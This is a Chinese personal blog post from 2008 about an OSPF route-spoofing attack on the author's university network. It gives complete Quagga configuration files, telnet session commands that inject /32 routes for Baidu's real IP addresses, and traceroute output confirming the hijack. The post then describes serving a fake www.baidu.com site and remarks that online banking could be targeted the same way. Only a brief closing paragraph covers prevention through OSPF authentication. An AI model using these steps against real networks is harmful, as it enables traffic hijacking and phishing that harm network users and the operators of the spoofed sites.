2008年12月31日星期三

诸位新年快乐|Happy New Year|皆様、新年おめでとうございます!


各位新年快乐

Happy New Year
诸君、新年おめでとうございます!

2008年12月19日星期五

不加密的OSPF路由寻找协议带来的安全问题

搬到新校区了,很欢喜,什么都很新,包括网络设备。某熊在搬到新校区以后,这里的网络一直在抽风,不是DHCP出问题,就是交换机死机,不然就是光缆被卡车撞断了……反正问题一大堆。在帮助网络中心解决这些问题的时候也积累了不少经验,同时也发现不少问题,其中最严重的一个问题就是学校的交换机使用了OSPF协议来进行路由寻址,但是OSPF没有加密,从而导致了对任意IP地址进行IP路由记录的篡改。而且这个操作不需要任何交换机或者路由器的登录权限。可谓是杀人放火,居家旅行的必备良药。
下面的篇幅,就是用来说明欺骗的原理,实现和预防机制。
=-=-=我是一条分割线=-=-=
原理篇:什么是OSPF
一下内容来自维基百科:

开放式最短路径优先(英文Open Shortest Path First,OSPF)是对链路状态路由协议的一种实现,隶属内部网关协议(IGP),故运作于自治系统内部。著名的迪克斯加算法(Dijkstra)被用来计算最短路径树。它使用“成本”作为路由度量。链路状态数据库用网络拓扑来创建,它在区域中的全部路由器上是等价的。

OSPF协议大概是在大型网络上使用最为广泛的IGP(Interior Gateway Protocol)协议。节点在建立邻接,接受连接状态宣告(link-state advertisement)之前,可以通过MD5进行安全验证。

一个OSPF网络可以被划分成更小的网络。其中,一个特别的区域(area)被称为骨干区域(backbone area),该区域是整个OSPF网络的核心区域,并且所有其他的区域都与之连接。所有的内部路由都通过骨干区域。所有的区域都必须连接到骨干区域,如果 不能建立直接连接,那么可以通过虚拟通道建立虚拟连接(virtual link)。

同一个广播域(broadcast domain)的路由器或者一个点对点(point to point)连接的两端的路由器,在发现彼此的时候,建立邻接(adjacencies)[1]。 同一广播网络或者模拟广播网络的点对点网络中的路由器会选举指定路由器(designated router, DR)和备份指定路由器(backup designated router, BDR),DR和BDR作为网络的中心负责路由器之间的信息交换从而降低了网络中的信息流量。OSPF协议同时使用单播(unicast)和多播(multicast)来发送Hello包和连接状态更新(link state updates),使用的多播地址为224.0.0.5和224.0.0.6。与RIPBGP不同的是,OSPF协议不使用TCP或者UDP协议而是直接使用IP协议。



简单来说,OSPF 就是用于路由器之间交换自己所在网络信息的协议,OSPF本身是支持安全认证的,但是由于管理人员的失误,我们学校的路由器并没有配置这种安全认证机制,这也就给我们留下了可乘之机。
欺骗的实现就是依靠OSPF的路由器寻找模式发送OSPF响应包,从而篡改目标路由器上的路由表

=-=-=-=-=下面是淫荡的欺骗过程的分割线=-=-=-=-=-=-
实现篇:
1:欺骗的条件
要实现欺骗,需要有以下条件:
1)一台支持OSPF的路由设备(软硬都可)
2)目标OSPF应该和你(欺骗用路由)在同一个网段。
3)目标路由应该没有使用OSPF认证,或者你可以得到相应的认证信息。

2:准备工作
我是用的是一台双网卡的linux主机做软路由,上面跑了支持OSPF的Quagga作为路由软件,eth1与目标路由(也就是我们上网的网关相连)IP地址为自动获取,eth2与内部网络相连,绑定了多个IP

root@bearice-ubuntu-server:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:40:45:0e:52:12
inet addr:172.21.204.65 Bcast:172.21.204.255 Mask:255.255.255.0
inet6 addr: fe80::240:45ff:fe0e:5212/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2162021 errors:0 dropped:940 overruns:0 frame:0
TX packets:669879 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:196472110 (187.3 MB) TX bytes:565933427 (539.7 MB)
Interrupt:11 Base address:0x6e00

eth2 Link encap:Ethernet HWaddr 00:00:21:0e:22:f6
inet addr:192.168.100.200 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::200:21ff:fe0e:22f6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1809604 errors:0 dropped:0 overruns:0 frame:127
TX packets:406894 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:153446129 (146.3 MB) TX bytes:323207532 (308.2 MB)
Interrupt:3 Base address:0x300

安装qugga的过程省略,网上有现成的文章,使用ubuntu仅仅需要apt-get install quagga就行了。
把把我的配置文件贴出来:

! /etc/quagga/zerba.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-Zebra-Router
password goodpassword
enable password goodpassword
!
interface eth1
ipv6 nd suppress-ra
!
interface eth2
ipv6 nd suppress-ra
!
interface lo
!
ip forwarding
!
!
line vty
!


! /etc/quagga/ospfd.conf
! Zebra configuration saved from vty
! 2008/12/18 00:19:21
!
hostname Bearice-OSPF-Router
password goodpassword
enable password goodpassword
!
!
!
interface eth1
!
interface eth2
!
interface lo
!
router ospf
ospf router-id 172.21.204.65
network 172.21.204.0/24 area 0.2.0.0
network 192.168.100.0/24 area 0.2.0.0
area 0.2.0.0 stub
!
line vty
!


上面的area id可以通过嗅探得到:

图中的area id就是目标路由器发送的OSPF Hello包中的ID

3:欺骗开始
配置好quagga以后,你的quagga就应该自动和目标路由建立连接了。telnet 本地的2604端口(也就是OSPFD的配置端口),就可以看到:

root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.

Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.


User Access Verification

Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router# sh ip os ne

Neighbor ID Pri State Dead Time Address Interface RXmtL RqstL DBsmL
172.16.7.3 1 Full/DR 31.559s 172.21.204.254 eth1:172.21.204.65 0 0 0
Bearice-OSPF-Router#


实验性的,我选取了百毒作为此次试验的目标,首先得到百毒的ip:

root@bearice-ubuntu-server:~# nslookup www.baidu.com
Server: 202.103.224.68
Address: 202.103.224.68#53

Non-authoritative answer:
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 121.14.88.14
Name: www.a.shifen.com
Address: 121.14.89.14

恩,得到他的IP地址了,在我的机器上配置这个IP地址,修改/etc/network/interfaces

auto eth2:3
iface eth2:3 inet static
address 121.14.89.14
netmask 255.255.255.255
auto eth2:4
iface eth2:4 inet static
address 121.14.88.14
netmask 255.255.255.255

然后在ifup eth2:3和ifup eth2:4就可以了。
然后需要在ospfd里面配置这个网络地址,好让目标路由中存在我们这个路由记录:

root@bearice-ubuntu-server:~# telnet 0 2604
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.

Hello, this is Quagga (version 0.99.9).
Copyright 1996-2005 Kunihiro Ishiguro, et al.


User Access Verification

Password:
Bearice-OSPF-Router> en
Password:
Bearice-OSPF-Router#
Bearice-OSPF-Router# con
Bearice-OSPF-Router# configure
Bearice-OSPF-Router# configure terminal
Bearice-OSPF-Router(config)# rout
Bearice-OSPF-Router(config)# router o
Bearice-OSPF-Router(config)# router ospf
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 ar
Bearice-OSPF-Router(config-router)# network 121.14.88.14/32 area 0.2.0.0
Bearice-OSPF-Router(config-router)# network 121.14.89.14/32 area 0.2.0.0

这样就完成了欺骗,等待几秒钟时间,让路由器更新路由记录,然后在另一台机器上进行测试:

C:\Users\Bearice>tracert 121.14.89.14

通过最多 30 个跃点跟踪到 121.14.89.14 的路由

1 1 ms 1 ms 1 ms 172.21.204.254
2 1 ms 1 ms 1 ms 172.16.7.254
3 2 ms 5 ms 9 ms 10.4.0.1
4 1 ms 1 ms 1 ms 219.159.104.129
5 2 ms 2 ms 2 ms 218.65.144.129
6 * * 16 ms 218.65.144.5
7 * 6 ms 6 ms 202.97.66.113
8 11 ms 12 ms 14 ms 202.97.66.125
9 24 ms 24 ms 25 ms 202.97.21.130
10 24 ms 23 ms 23 ms 202.97.44.9
11 28 ms 35 ms 35 ms 202.97.25.197
12 <1>tracert 121.14.89.14

通过最多 30 个跃点跟踪到 121.14.89.14 的路由

1 1 ms 1 ms 1 ms 172.21.204.254
2 <1>

我们看到目标IP的路由路径已经成功改变了。
在我的机器上架设了一个lighttpd服务器,然后加上一个www.baidu.com.的vhost.欺骗完成,效果如下:

值得一提的是:这种欺骗的效果不仅仅限于本子网内,所有与目标路由交换路由信息的路由器都会加入这条路由记录。
这种方法的危害是很大的,加入我欺骗的IP不是百毒的而是网银的,那么后果是十分严重的。
=-=-=-=-=下面讲讲预防的方式=-=-=-=-=
当初OSPF的设计者们显然也认知到了这个问题,所以OSPF协议是支持认证的,也就是只有使用同一个密印的路由器之间才能交换信息(当然加入你能嗅探到,或者得到其中某个路由的配置权限,这种加密等于白费)
所以加入你是网络管理员的话,配置路由器时要注意不要使用默认的OSPF设置,加个密码吧。